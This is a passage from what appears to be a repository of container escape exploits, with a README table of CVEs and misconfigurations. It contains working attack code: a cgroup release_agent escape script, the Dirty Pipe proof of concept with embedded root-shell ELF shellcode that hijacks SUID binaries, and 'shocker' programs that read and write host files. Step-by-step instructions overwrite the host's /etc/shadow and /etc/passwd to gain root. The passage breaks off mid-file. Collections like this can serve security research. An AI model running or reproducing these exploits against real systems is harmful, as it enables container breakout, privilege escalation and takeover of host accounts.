init_msq(); 679 | init_sock(); 680 | 681 | int fd; 682 | 683 | fd = call_fsopen(); 684 | logi("perform exploit step1"); 685 | while (exploit_step1(fd)) { 686 | logd("retry step1 ..."); 687 | 688 | close(fd); 689 | fd = call_fsopen(); 690 | } 691 | 692 | fd = call_fsopen(); 693 | logi("perform exploit step2"); 694 | while (exploit_step2(fd)) { 695 | logd("retry step2 ..."); 696 | 697 | close(fd); 698 | fd = call_fsopen(); 699 | } 700 | 701 | write(sync_pipe[1], "T", 1); 702 | while (1) { 703 | sleep(10); 704 | } 705 | } else { 706 | char sync; 707 | read(sync_pipe[0], &sync, 1); 708 | if (sync == 'T') { 709 | execl(ATTACK_FILE, ATTACK_FILE, NULL); 710 | } 711 | } 712 | 713 | return 0; 714 | } -------------------------------------------------------------------------------- /CVEs/CVE-2022-0492/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-0492 2 | 3 | ## Description 4 | 5 | See: https://github.com/chenaotian/CVE-2022-0492 6 | Also: https://wiki.teamssix.com/cloudnative/docker/cve-2022-0492.html 7 | 8 | - 漏洞编号: CVE-2022-0492 9 | - 漏洞产品: linux kernel - cgroup 10 | - 影响版本: ~linux kernel 5.17-rc3 11 | - 漏洞危害: 当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机 12 | 13 | Ubuntu版本需要是20.04LTS及以前 14 | ## Writeup 15 | 16 | https://potassium.site/2024/04/aee7ce293157.html 17 | 18 | ## Image 19 | 20 | Use bare Ubuntu 20.04, no extra image provided -------------------------------------------------------------------------------- /CVEs/CVE-2022-0492/exp.sh: -------------------------------------------------------------------------------- 1 | # From https://github.com/chenaotian/CVE-2022-0492 2 | #!/bin/bash 3 | hackCMD=$1 4 | CAP_SYS_ADMIN=0x80000 5 | ifSysAdmin=0 6 | mountDir=/tmp/testcgroup 7 | cmdPath=/cmd 8 | hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` 9 | 10 | mkdir $mountDir 11 | # create cmd 12 | touch $cmdPath 13 | echo '#!/bin/sh' > $cmdPath 14 | echo "$1 > $hostPath/result" >> $cmdPath 15 | chmod 777 $cmdPath 16 | 17 | #create escape.sh 18 | cat < ./escape.sh 19 | #!/bin/bash 20 | 21 | subsys=\$1 22 | mountDir=\$2 23 | host_path=\$3 24 | 25 | mount -t cgroup -o \$subsys cgroup \$mountDir 26 | if [ ! -d \$mountDir/x ] 27 | then 28 | mkdir \$mountDir/x 29 | fi 30 | 31 | cd \$mountDir/x 32 | echo 1 > \$mountDir/x/notify_on_release 33 | echo "\$host_path/cmd" > \$mountDir/release_agent 34 | 35 | sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs" 36 | sleep 0.5 37 | umount $mountDir 38 | EOF 39 | chmod 777 ./escape.sh 40 | 41 | #get if has cap_sys_admin 42 | nowCap=`cat /proc/$$/status | grep CapEff` 43 | nowCap=${nowCap#*CapEff:} 44 | nowCap=${nowCap%%CapEff*} 45 | nowCap=0x${nowCap: 1: 16} 46 | 47 | ifSysAdmin=0 48 | if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ] 49 | then 50 | ifSysAdmin=1 51 | fi 52 | 53 | if [ $ifSysAdmin == 1 ] 54 | then 55 | echo "[+] You have CAP_SYS_ADMIN!" 56 | else 57 | echo "[-] You donot have CAP_SYS_ADMIN, will try" 58 | fi 59 | 60 | #try escape 61 | while read -r subsys 62 | do 63 | if [ $ifSysAdmin == 1 ] 64 | then 65 | if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then 66 | ./escape.sh $subsys $mountDir $hostPath 67 | echo "[+] Escape Success!" 68 | rm -r $mountDir 69 | cat /result 70 | rm /result 71 | exit 0 72 | fi 73 | else 74 | if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then 75 | unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath" 76 | echo "[+] Escape Success with unshare!" 77 | rm -r $mountDir 78 | cat /result 79 | rm /result 80 | exit 0 81 | fi 82 | fi 83 | done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$') 84 | 85 | echo "[-] Escape Fail!" 86 | rm -r $mountDir -------------------------------------------------------------------------------- /CVEs/CVE-2022-0847/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | COPY ./poc / 3 | RUN chmod 777 /poc -------------------------------------------------------------------------------- /CVEs/CVE-2022-0847/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-0847"dirty pipe" 2 | ## Description 3 | https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2022-0847 4 | 5 | https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape 6 | 7 | ## Writeup 8 | https://potassium.site/2024/04/f4e70fb0eb58.html 9 | 10 | ## Image 11 | 12 | https://hub.docker.com/repository/docker/iridium191/cve-2022-0847/general -------------------------------------------------------------------------------- /CVEs/CVE-2022-0847/poc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LouisLiuNova/container-escape-exploits/858c163c22850d248312ffba3ead5a12949f5145/CVEs/CVE-2022-0847/poc -------------------------------------------------------------------------------- /CVEs/CVE-2022-0847/poc.c: -------------------------------------------------------------------------------- 1 | // From https://github.com/Metarget/metarget/blob/master/writeups_cnv/kernel-cve-2022-0847/poc.c 2 | // dirtypipez.c 3 | // 4 | // hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn 5 | // a root shell. (and attempts to restore the damaged binary as well) 6 | // 7 | // Wow, Dirty CoW reloaded! 8 | // 9 | // -- blasty // 2022-03-07 10 | 11 | /* SPDX-License-Identifier: GPL-2.0 */ 12 | /* 13 | * Copyright 2022 CM4all GmbH / IONOS SE 14 | * 15 | * author: Max Kellermann 16 | * 17 | * Proof-of-concept exploit for the Dirty Pipe 18 | * vulnerability (CVE-2022-0847) caused by an uninitialized 19 | * "pipe_buffer.flags" variable. It demonstrates how to overwrite any 20 | * file contents in the page cache, even if the file is not permitted 21 | * to be written, immutable or on a read-only mount. 22 | * 23 | * This exploit requires Linux 5.8 or later; the code path was made 24 | * reachable by commit f6dd975583bd ("pipe: merge 25 | * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was 26 | * there before, it just provided an easy way to exploit it. 27 | * 28 | * There are two major limitations of this exploit: the offset cannot 29 | * be on a page boundary (it needs to write one byte before the offset 30 | * to add a reference to this page to the pipe), and the write cannot 31 | * cross a page boundary. 32 | * 33 | * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' 34 | * 35 | * Further explanation: https://dirtypipe.cm4all.com/ 36 | */ 37 | 38 | #define _GNU_SOURCE 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #ifndef PAGE_SIZE 49 | #define PAGE_SIZE 4096 50 | #endif 51 | 52 | // small (linux x86_64) ELF file matroshka doll that does; 53 | // fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC); 54 | // write(fd, elfcode, elfcode_len) 55 | // chmod("/tmp/sh", 04755) 56 | // close(fd); 57 | // exit(0); 58 | // 59 | // the dropped ELF simply does: 60 | // setuid(0); 61 | // setgid(0); 62 | // execve("/bin/sh", ["/bin/sh", NULL], [NULL]); 63 | unsigned char elfcode[] = { 64 | /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 66 | 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 67 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 68 | 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 69 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 70 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 71 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 72 | 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 73 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 74 | 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, 75 | 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 76 | 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 77 | 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 78 | 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 79 | 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, 80 | 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 81 | 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 82 | 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 83 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 84 | 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 85 | 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 86 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 87 | 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 88 | 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 89 | 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 90 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 91 | 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 92 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, 93 | 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, 94 | 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, 95 | 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, 96 | 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 97 | 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 98 | }; 99 | 100 | /** 101 | * Create a pipe where all "bufs" on the pipe_inode_info ring have the 102 | * PIPE_BUF_FLAG_CAN_MERGE flag set. 103 | */ 104 | static void prepare_pipe(int p[2]) 105 | { 106 | if (pipe(p)) abort(); 107 | 108 | const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 109 | static char buffer[4096]; 110 | 111 | /* fill the pipe completely; each pipe_buffer will now have 112 | the PIPE_BUF_FLAG_CAN_MERGE flag */ 113 | for (unsigned r = pipe_size; r > 0;) { 114 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 115 | write(p[1], buffer, n); 116 | r -= n; 117 | } 118 | 119 | /* drain the pipe, freeing all pipe_buffer instances (but 120 | leaving the flags initialized) */ 121 | for (unsigned r = pipe_size; r > 0;) { 122 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 123 | read(p[0], buffer, n); 124 | r -= n; 125 | } 126 | 127 | /* the pipe is now empty, and if somebody adds a new 128 | pipe_buffer without initializing its "flags", the buffer 129 | will be mergeable */ 130 | } 131 | 132 | int hax(char *filename, long offset, uint8_t *data, size_t len) { 133 | /* open the input file and validate the specified offset */ 134 | const int fd = open(filename, O_RDONLY); // yes, read-only! :-) 135 | if (fd < 0) { 136 | perror("open failed"); 137 | return -1; 138 | } 139 | 140 | struct stat st; 141 | if (fstat(fd, &st)) { 142 | perror("stat failed"); 143 | return -1; 144 | } 145 | 146 | /* create the pipe with all flags initialized with 147 | PIPE_BUF_FLAG_CAN_MERGE */ 148 | int p[2]; 149 | prepare_pipe(p); 150 | 151 | /* splice one byte from before the specified offset into the 152 | pipe; this will add a reference to the page cache, but 153 | since copy_page_to_iter_pipe() does not initialize the 154 | "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 155 | --offset; 156 | ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 157 | if (nbytes < 0) { 158 | perror("splice failed"); 159 | return -1; 160 | } 161 | if (nbytes == 0) { 162 | fprintf(stderr, "short splice\n"); 163 | return -1; 164 | } 165 | 166 | /* the following write will not create a new pipe_buffer, but 167 | will instead write into the page cache, because of the 168 | PIPE_BUF_FLAG_CAN_MERGE flag */ 169 | nbytes = write(p[1], data, len); 170 | if (nbytes < 0) { 171 | perror("write failed"); 172 | return -1; 173 | } 174 | if ((size_t)nbytes < len) { 175 | fprintf(stderr, "short write\n"); 176 | return -1; 177 | } 178 | 179 | close(fd); 180 | 181 | return 0; 182 | } 183 | 184 | int main(int argc, char **argv) { 185 | if (argc != 2) { 186 | fprintf(stderr, "Usage: %s SUID\n", argv[0]); 187 | return EXIT_FAILURE; 188 | } 189 | 190 | char *path = argv[1]; 191 | uint8_t *data = elfcode; 192 | 193 | int fd = open(path, O_RDONLY); 194 | uint8_t *orig_bytes = malloc(sizeof(elfcode)); 195 | lseek(fd, 1, SEEK_SET); 196 | read(fd, orig_bytes, sizeof(elfcode)); 197 | close(fd); 198 | 199 | printf("[+] hijacking suid binary..\n"); 200 | if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) { 201 | printf("[~] failed\n"); 202 | return EXIT_FAILURE; 203 | } 204 | 205 | printf("[+] dropping suid shell..\n"); 206 | system(path); 207 | 208 | printf("[+] restoring suid binary..\n"); 209 | if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) { 210 | printf("[~] failed\n"); 211 | return EXIT_FAILURE; 212 | } 213 | 214 | printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n"); 215 | system("/tmp/sh"); 216 | 217 | return EXIT_SUCCESS; 218 | } -------------------------------------------------------------------------------- /CVEs/CVE-2022-0847/writeup.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-0847 2 | Internal escalation only 3 | ## Env 4 | 5 | OS: Ubuntu 20.04.6 LTS x 6 | Kernel: 5.8.0-23-generic 7 | Docker: Any 8 | 9 | 10 | ![OgIIwa.png](https://ooo.0x0.ooo/2024/03/30/OgIIwa.png) -------------------------------------------------------------------------------- /CVEs/CVE-2022-1227/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-1227 2 | 3 | See:https://github.com/iridium-soda/CVE-2022-1227_Exploit -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # container-escape-exploits 2 | 整理容器逃逸相关的漏洞和exploits. 3 | ## Misconfig 4 | | Name | Category | PoC | Writeup | 5 | |-----------------------|----------|------------------|-----------------------| 6 | | SYS_MODULE Abuse | Docker | :white_check_mark: | Deprecated(temporarily) | 7 | | SYS_ADMIN Abuse | Docker | :white_check_mark: | :white_check_mark: | 8 | | MKNOD Abuse | Docker | | | 9 | | Host Network Sniffing | Docker | | | 10 | | UEVENT_HELPER Abuse | Docker | | | 11 | | privileged-container | Docker | :white_check_mark: | :white_check_mark: | 12 | | mount-docker-sock | Docker | :white_check_mark: | :white_check_mark: | 13 | | mount-host-etc | Docker | :white_check_mark: | :white_check_mark: | 14 | | Process Injection | Docker | :white_check_mark: | Deprecated | 15 | | mount-var-log-k8s | K8s | :white_check_mark: | | 16 | | mount-host-procfs-k8s | K8s | :white_check_mark: | | 17 | | DAC_OVERRIDE | Docker | :white_check_mark: | :white_check_mark: | 18 | 19 | 20 | 21 | 22 | ## CVEs 23 | 24 | | Name | Category | PoC | Checked | 25 | |-----------------|----------|-------------------|------------------------------------------| 26 | | CVE-2016-5195 | Kernel | :white_check_mark: | Failed due to unsupported vDSO version | 27 | | CVE-2016-9962 | Docker | :white_check_mark: | Deprecated | 28 | | CVE-2017-1000112 | Kernel | :white_check_mark: | Failed due to no bypass available | 29 | | CVE-2017-1002101 | K8s | :white_check_mark: | | 30 | | CVE-2017-7308 | Kernel | :white_check_mark: | Failed due to no matched kernel4.0.0-34 | 31 | | CVE-2018-1002100 | K8s | | | 32 | | CVE-2018-15664 | Docker | :white_check_mark: | Failed due to docker engine is too old | 33 | | CVE-2018-18955 | Kernel | :white_check_mark: | [writeup](https://potassium.site/2024/04/a1808592721f.html) escalation only | 34 | | CVE-2019-1002101 | K8s | | Failed due to no matched kernel4.0.0-34 | 35 | | CVE-2019-11246 | K8s | | | 36 | | CVE-2019-11249 | K8s | | | 37 | | CVE-2019-11251 | K8s | | | 38 | | CVE-2019-14271 | Docker | :white_check_mark: | [writeup](https://potassium.site/2024/04/f2a6aa1a36ec.html) | 39 | | CVE-2019-16884 | Docker | | | 40 | | CVE-2019-5736 | Docker | :white_check_mark: | [writeup](https://potassium.site/2024/04/6bebfe1479d2.html) | 41 | | CVE-2020-14386 | Kernel | | | 42 | | CVE-2020-15257 | Docker | :white_check_mark: | Failed due to docker engine is too old | 43 | | CVE-2020-27151 | Kata | | | 44 | | CVE-2020-8555 | K8s | | | 45 | | CVE-2021-22555 | Kernel | :white_check_mark: | Failed - poc didn't work | 46 | | CVE-2021-25741 | K8s | | | 47 | | CVE-2021-30465 | K8s | | | 48 | | CVE-2022-0185 | Kernel | :white_check_mark: | [writeup](https://potassium.site/2024/04/343c2d2fd083.html) escalation only | 49 | | CVE-2022-0492 | Docker | :white_check_mark: | [writeup](https://potassium.site/2024/04/aee7ce293157.html) | 50 | | CVE-2022-0811 | K8s | | | 51 | | CVE-2022-0847 | Docker | :white_check_mark: | [writeup](https://potassium.site/2024/04/f4e70fb0eb58.html)escalation only | 52 | |CVE-2022-1227|Podman| :white_check_mark: | [writeup](https://github.com/iridium-soda/CVE-2022-1227_Exploit) | 53 | 54 | -------------------------------------------------------------------------------- /autotest.sh: -------------------------------------------------------------------------------- 1 | # To start auditing at the same time 2 | echo "start auditing" 3 | sysdig "not proc.name=sar" -t r -pc -M 30 -w $NUM.scap > sysdig.output & 4 | sar -o $NUM.sa 1 30 >sar.output & 5 | echo "Auditing finished!" -------------------------------------------------------------------------------- /misconfig/DAC override/README.md: -------------------------------------------------------------------------------- 1 | # DAC override 2 | 3 | ## Description 4 | DAC_OVERRIDE功能允许绕过读取、写入和执行权限检查。具有DAC_READ_SEARCH和DAC_OVERRIDE功能的容器可以在主机文件系统上读取和写入文件。在此逃逸中,我们将使用这些功能在主机上更新用户的凭据文件,然后使用更新的凭据登录主机。 5 | 6 | 在这个容器转义技术中,我们将提出2个选项: 7 | 8 | 通过覆盖主机上的/etc/shadow和/etc/passwd文件来更新用户的登录密码。 9 | 10 | 通过用我们拥有其私钥的生成的SSH公钥覆盖主机上的~/.ssh/authorized_keys文件来更新用户的SSH授权密钥。 11 | 12 | ## Usage 13 | 创建容器 14 | ```bash 15 | docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH --cap-add=CHOWN --cap-add=SETGID --cap-add=SETUID --cap-add=FOWNER ubuntu bash 16 | ``` 17 | 18 | 覆盖用户密码 19 | 20 | ```shell 21 | # Copy and paste the shocker.c content 22 | vim shocker.c 23 | gcc -o read shocker.c 24 | # Copy and paste the shocker_write.c content 25 | vim shocker_write.c 26 | gcc -o write shocker_write.c 27 | # Use the ./read to read files from host: ./read /host/path /container/path 28 | ./read /etc/shadow shadow 29 | ./read /etc/passwd passwd 30 | # Create new user and reset its password 31 | useradd 32 | echo ':' | chpasswd 33 | # Update the new user details in the copied files from host 34 | tail -1 /etc/passwd >> passwd 35 | tail -1 /etc/shadow >> shadow 36 | # Copy the new user password hash paste it also for the root user in the shadow file. This will allow us to elevate permissions on the host. 37 | vim shadow 38 | # Use the ./write to write files from host: ./write /host/path /container/path 39 | ./write /etc/passwd passwd 40 | ./write /etc/shadow shadow 41 | # Connect to host over ssh using the new user (unprivileged) 42 | ssh @ 43 | # Elevate privileges to root user with the new password 44 | su 45 | ``` -------------------------------------------------------------------------------- /misconfig/DAC override/shocker.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | // gcc shocker.c -o shocker 13 | // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir 14 | 15 | struct my_file_handle { 16 | unsigned int handle_bytes; 17 | int handle_type; 18 | unsigned char f_handle[8]; 19 | }; 20 | 21 | void die(const char *msg) 22 | { 23 | perror(msg); 24 | exit(errno); 25 | } 26 | 27 | void dump_handle(const struct my_file_handle *h) 28 | { 29 | fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, 30 | h->handle_type); 31 | for (int i = 0; i < h->handle_bytes; ++i) { 32 | fprintf(stderr,"0x%02x", h->f_handle[i]); 33 | if ((i + 1) % 20 == 0) 34 | fprintf(stderr,"\n"); 35 | if (i < h->handle_bytes - 1) 36 | fprintf(stderr,", "); 37 | } 38 | fprintf(stderr,"};\n"); 39 | } 40 | 41 | int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle 42 | *oh) 43 | { 44 | int fd; 45 | uint32_t ino = 0; 46 | struct my_file_handle outh = { 47 | .handle_bytes = 8, 48 | .handle_type = 1 49 | }; 50 | DIR *dir = NULL; 51 | struct dirent *de = NULL; 52 | path = strchr(path, '/'); 53 | // recursion stops if path has been resolved 54 | if (!path) { 55 | memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); 56 | oh->handle_type = 1; 57 | oh->handle_bytes = 8; 58 | return 1; 59 | } 60 | 61 | ++path; 62 | fprintf(stderr, "[*] Resolving '%s'\n", path); 63 | if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) 64 | die("[-] open_by_handle_at"); 65 | if ((dir = fdopendir(fd)) == NULL) 66 | die("[-] fdopendir"); 67 | for (;;) { 68 | de = readdir(dir); 69 | if (!de) 70 | break; 71 | fprintf(stderr, "[*] Found %s\n", de->d_name); 72 | if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { 73 | fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); 74 | ino = de->d_ino; 75 | break; 76 | } 77 | } 78 | 79 | fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); 80 | if (de) { 81 | for (uint32_t i = 0; i < 0xffffffff; ++i) { 82 | outh.handle_bytes = 8; 83 | outh.handle_type = 1; 84 | memcpy(outh.f_handle, &ino, sizeof(ino)); 85 | memcpy(outh.f_handle + 4, &i, sizeof(i)); 86 | if ((i % (1<<20)) == 0) 87 | fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); 88 | if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { 89 | closedir(dir); 90 | close(fd); 91 | dump_handle(&outh); 92 | return find_handle(bfd, path, &outh, oh); 93 | } 94 | } 95 | } 96 | closedir(dir); 97 | close(fd); 98 | return 0; 99 | } 100 | 101 | 102 | int main(int argc,char* argv[] ) 103 | { 104 | char buf[0x1000]; 105 | int fd1, fd2; 106 | struct my_file_handle h; 107 | struct my_file_handle root_h = { 108 | .handle_bytes = 8, 109 | .handle_type = 1, 110 | .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} 111 | }; 112 | 113 | fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" 114 | "[***] The tea from the 90's kicks your sekurity again. [***]\n" 115 | "[***] If you have pending sec consulting, I'll happily [***]\n" 116 | "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); 117 | 118 | read(0, buf, 1); 119 | 120 | // get a FS reference from something mounted in from outside 121 | if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) 122 | die("[-] open"); 123 | 124 | if (find_handle(fd1, argv[1], &root_h, &h) <= 0) 125 | die("[-] Cannot find valid handle!"); 126 | 127 | fprintf(stderr, "[!] Got a final handle!\n"); 128 | dump_handle(&h); 129 | 130 | if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) 131 | die("[-] open_by_handle"); 132 | 133 | memset(buf, 0, sizeof(buf)); 134 | if (read(fd2, buf, sizeof(buf) - 1) < 0) 135 | die("[-] read"); 136 | 137 | printf("Success!!\n"); 138 | 139 | FILE *fptr; 140 | fptr = fopen(argv[2], "w"); 141 | fprintf(fptr,"%s", buf); 142 | fclose(fptr); 143 | 144 | close(fd2); close(fd1); 145 | 146 | return 0; 147 | } -------------------------------------------------------------------------------- /misconfig/DAC override/shocker_write.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | // gcc shocker_write.c -o shocker_write 13 | // ./shocker_write /etc/passwd passwd 14 | 15 | struct my_file_handle { 16 | unsigned int handle_bytes; 17 | int handle_type; 18 | unsigned char f_handle[8]; 19 | }; 20 | void die(const char * msg) { 21 | perror(msg); 22 | exit(errno); 23 | } 24 | void dump_handle(const struct my_file_handle * h) { 25 | fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, 26 | h -> handle_type); 27 | for (int i = 0; i < h -> handle_bytes; ++i) { 28 | fprintf(stderr, "0x%02x", h -> f_handle[i]); 29 | if ((i + 1) % 20 == 0) 30 | fprintf(stderr, "\n"); 31 | if (i < h -> handle_bytes - 1) 32 | fprintf(stderr, ", "); 33 | } 34 | fprintf(stderr, "};\n"); 35 | } 36 | int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) 37 | { 38 | int fd; 39 | uint32_t ino = 0; 40 | struct my_file_handle outh = { 41 | .handle_bytes = 8, 42 | .handle_type = 1 43 | }; 44 | DIR * dir = NULL; 45 | struct dirent * de = NULL; 46 | path = strchr(path, '/'); 47 | // recursion stops if path has been resolved 48 | if (!path) { 49 | memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); 50 | oh -> handle_type = 1; 51 | oh -> handle_bytes = 8; 52 | return 1; 53 | } 54 | ++path; 55 | fprintf(stderr, "[*] Resolving '%s'\n", path); 56 | if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) 57 | die("[-] open_by_handle_at"); 58 | if ((dir = fdopendir(fd)) == NULL) 59 | die("[-] fdopendir"); 60 | for (;;) { 61 | de = readdir(dir); 62 | if (!de) 63 | break; 64 | fprintf(stderr, "[*] Found %s\n", de -> d_name); 65 | if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { 66 | fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); 67 | ino = de -> d_ino; 68 | break; 69 | } 70 | } 71 | fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); 72 | if (de) { 73 | for (uint32_t i = 0; i < 0xffffffff; ++i) { 74 | outh.handle_bytes = 8; 75 | outh.handle_type = 1; 76 | memcpy(outh.f_handle, & ino, sizeof(ino)); 77 | memcpy(outh.f_handle + 4, & i, sizeof(i)); 78 | if ((i % (1 << 20)) == 0) 79 | fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); 80 | if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { 81 | closedir(dir); 82 | close(fd); 83 | dump_handle( & outh); 84 | return find_handle(bfd, path, & outh, oh); 85 | } 86 | } 87 | } 88 | closedir(dir); 89 | close(fd); 90 | return 0; 91 | } 92 | int main(int argc, char * argv[]) { 93 | char buf[0x1000]; 94 | int fd1, fd2; 95 | struct my_file_handle h; 96 | struct my_file_handle root_h = { 97 | .handle_bytes = 8, 98 | .handle_type = 1, 99 | .f_handle = { 100 | 0x02, 101 | 0, 102 | 0, 103 | 0, 104 | 0, 105 | 0, 106 | 0, 107 | 0 108 | } 109 | }; 110 | fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" 111 | "[***] The tea from the 90's kicks your sekurity again. [***]\n" 112 | "[***] If you have pending sec consulting, I'll happily [***]\n" 113 | "[***] forward to my friends who 